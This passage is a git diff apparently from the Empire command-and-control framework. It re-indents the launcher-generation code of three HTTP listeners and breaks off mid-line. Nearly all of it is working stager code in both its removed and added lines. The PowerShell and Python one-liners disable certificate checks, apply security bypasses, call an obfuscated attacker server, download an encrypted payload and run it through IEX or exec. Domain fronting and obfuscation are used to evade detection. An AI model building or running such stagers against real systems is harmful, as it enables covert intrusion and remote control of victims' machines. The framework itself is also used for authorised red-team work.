): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - staging_key = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - requestHeader = listenerOptions["RequestHeader"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - if language.startswith("po"): - # PowerShell - - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};" - stager += "[System.Net.ServicePointManager]::Expect100Continue=0;" - - # TODO: reimplement stager retries? - - # check if we're using IPv6 - listenerOptions = copy.deepcopy(listenerOptions) - bindIP = listenerOptions["BindIP"]["Value"] - port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = ( - "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - ) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + staging_key = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + requestHeader = listenerOptions["RequestHeader"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + if language.startswith("po"): + # PowerShell - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket) + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" + + for bypass in bypasses: + stager += bypass + stager += "};" + stager += "[System.Net.ServicePointManager]::Expect100Continue=0;" + + # TODO: reimplement stager retries? + + # check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions["BindIP"]["Value"] + port = listenerOptions["Port"]["Value"] + if ":" in bindIP: + if "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket) + + stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" + stager += ( + f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + ) + + # add the RC4 packet to a header location + stager += f'$c="{ requestHeader }: { b64RoutingPacket }' + + # Add custom headers if any + modifyHost = False + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] - stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" - stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + if headerKey.lower() == "host": + modifyHost = True - # add the RC4 packet to a header location - stager += f'$c="{ requestHeader }: { b64RoutingPacket }' + stager += f"`r`n{ headerKey }: { headerValue }" - # Add custom headers if any - modifyHost = False - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] + stager += '";' + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if modifyHost: + stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" - if headerKey.lower() == "host": - modifyHost = True + stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" + stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" + stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" + stager += ( + "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" + ) + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - stager += f"`r`n{ headerKey }: { headerValue }" + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - stager += '";' - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if modifyHost: - stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) - stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" - stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" - stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" - stager += ( - "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, ) - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) - - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) else: - log.error( - "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." - ) + # otherwise return the case-randomized stager + return stager + + else: + log.error( + "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 1bf87b043..97b523b1e 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -178,226 +178,218 @@ def generate_launcher( ) return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - if language.startswith("po"): - # PowerShell - - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - - else: - # TODO: implement form for other proxy - stager += "$proxy=New-Object Net.WebProxy;" - stager += f"$proxy.Address = '{ proxy.lower() }';" - stager += "$wc.Proxy = $proxy;" - - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" - stager += "$wc.Proxy.Credentials = $netcred;" - - # TODO: reimplement stager retries? - - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");' - - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" - ) + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # Use routingpacket from foreign listener - b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' + if language.startswith("po"): + # PowerShell - stager += f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + stager += "$wc=New-Object System.Net.WebClient;" - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language in ["python", "ironpython"]: - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p, exc_info=True) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += dedent( - f""" - o=__import__({{2:'urllib2',3:'urllib.request'}}[sys.version_info[0]],fromlist=['build_opener']).build_opener(); - UA='{userAgent}'; - server='{host}';t='{stage0}'; - """ - ) + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] - - # add the RC4 packet to a cookie - launcherBase += ( - 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' - % (b64RoutingPacket) - ) - launcherBase += "import urllib.request;\n" + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + else: - proto = proxy.Split(":")[0] - launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" - + proxy - + "'});\n" - ) + # TODO: implement form for other proxy + stager += "$proxy=New-Object Net.WebProxy;" + stager += f"$proxy.Address = '{ proxy.lower() }';" + stager += "$wc.Proxy = $proxy;" + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "');\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "o = urllib.request.build_opener();\n" + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" + stager += "$wc.Proxy.Credentials = $netcred;" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=o.open(server+t).read();\n" + # TODO: reimplement stager retries? - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(stagingKey) + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");' - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - if isinstance(launchEncoded, bytes): - launchEncoded = launchEncoded.decode("UTF-8") - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) - return launcher + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # Use routingpacket from foreign listener + b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] + + # add the RC4 packet to a cookie + stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' + + stager += ( + f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + ) + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + + if language in ["python", "ironpython"]: + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p, exc_info=True) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + o=__import__({{2:'urllib2',3:'urllib.request'}}[sys.version_info[0]],fromlist=['build_opener']).build_opener(); + UA='{userAgent}'; + server='{host}';t='{stage0}'; + """ + ) + + b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] + + # add the RC4 packet to a cookie + launcherBase += ( + 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' + % (b64RoutingPacket) + ) + launcherBase += "import urllib.request;\n" + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" else: - return launcherBase + proto = proxy.Split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'});\n" + ) + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += ( + "proxy_auth_handler.add_password(None,'" + + proxy + + "','" + + username + + "','" + + password + + "');\n" + ) + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" else: - log.error( - "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + launcherBase += "o = urllib.request.build_opener();\n" + + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=o.open(server+t).read();\n" + + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(stagingKey) + + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" + ) + if isinstance(launchEncoded, bytes): + launchEncoded = launchEncoded.decode("UTF-8") + launcher = ( + "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" + % (launchEncoded) ) + return launcher + else: + return launcherBase + + else: + log.error( + "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index b5a4ea2b2..0a70ae104 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -129,220 +129,210 @@ def generate_launcher( log.error("listeners/http_hop generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - staging_key = listenerOptions["RedirectStagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + staging_key = listenerOptions["RedirectStagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) - if language == "powershell": - # PowerShell + if language == "powershell": + # PowerShell - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - - if userAgent.lower() == "default": - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - - else: - # TODO: implement form for other proxy - stager += "$proxy=New-Object Net.WebProxy;" - stager += f"$proxy.Address = '{ proxy.lower() }';" - stager += "$wc.Proxy = $proxy;" - - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}', '{password}', '{domain}');" - stager += "$wc.Proxy.Credentials = $netcred;" - - # TODO: reimplement stager retries? - - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' - stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';$hop='{ listenerName }';" - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + stager += "$wc=New-Object System.Net.WebClient;" - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + if userAgent.lower() == "default": + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language in ["python", "ironpython"]: - # Python - - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += dedent( - """ - import ssl; - if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; - """ - ) - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p) + if proxy.lower() != "none": + if proxy.lower() == "default": + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + + else: + # TODO: implement form for other proxy + stager += "$proxy=New-Object Net.WebProxy;" + stager += f"$proxy.Address = '{ proxy.lower() }';" + stager += "$wc.Proxy = $proxy;" + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}', '{password}', '{domain}');" + stager += "$wc.Proxy.Credentials = $netcred;" + + # TODO: reimplement stager retries? + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + + # add the RC4 packet to a cookie + stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' + stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';$hop='{ listenerName }';" + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager - if userAgent.lower() == "default": - userAgent = profile.split("|")[1] + if language in ["python", "ironpython"]: + # Python + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo launcherBase += dedent( - f""" - import urllib.request; - UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }'; - req=urllib.request.Request(server+t); + """ + import ssl; + if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; """ ) + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p) + + if userAgent.lower() == "default": + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }'; + req=urllib.request.Request(server+t); + """ + ) - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" - else: - proto = proxy.split(":")[0] - launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - - # add the RC4 packet to a cookie - launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' - else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += dedent( - f""" - proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); - proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); - o = urllib.request.build_opener(proxy, proxy_auth_handler); - o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; - """ - ) - else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" else: - launcherBase += "o = urllib.request.build_opener();\n" + proto = proxy.split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + + # add the RC4 packet to a cookie + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' + else: + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += dedent( + f""" + proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); + proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; + """ + ) + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += 